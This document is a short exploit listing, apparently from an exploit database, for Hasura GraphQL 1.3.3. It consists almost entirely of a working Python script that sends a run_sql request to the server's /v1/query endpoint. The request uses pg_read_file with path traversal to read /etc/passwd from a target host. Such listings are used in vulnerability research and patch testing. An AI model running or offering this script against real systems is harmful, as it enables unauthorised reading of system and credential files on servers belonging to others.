Hasura GraphQL 1.3.3 Arbitrary File Read

`# Exploit Title: Hasura GraphQL 1.3.3 - Local File Read  
# Software: Hasura GraphQL  
# Software Link: https://github.com/hasura/graphql-engine  
# Version: 1.3.3  
# Exploit Author: Dolev Farhi  
# Date: 4/19./2021  
# Tested on: Ubuntu  
  
import requests  
import sys  
  
HASURA_SCHEME = 'http'  
HASURA_HOST = '192.168.1.1'  
HASURA_PORT = 80  
READ_FILE = '/etc/passwd'  
  
def LFI(file):  
SQLI = "SELECT pg_read_file('../../../../../../../../../{}',0,1000);".format(file)  
data = {"type":"bulk","args":[{"type":"run_sql","args":{"sql":SQLI,"cascade":False,"read_only":False}}]}  
endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)  
r = requests.post(endpoint, json=data)  
return r.json()  
  
res = LFI(READ_FILE)  
  
try:  
print(res[0]['result'][1][0])  
except:  
print(res)  
  
`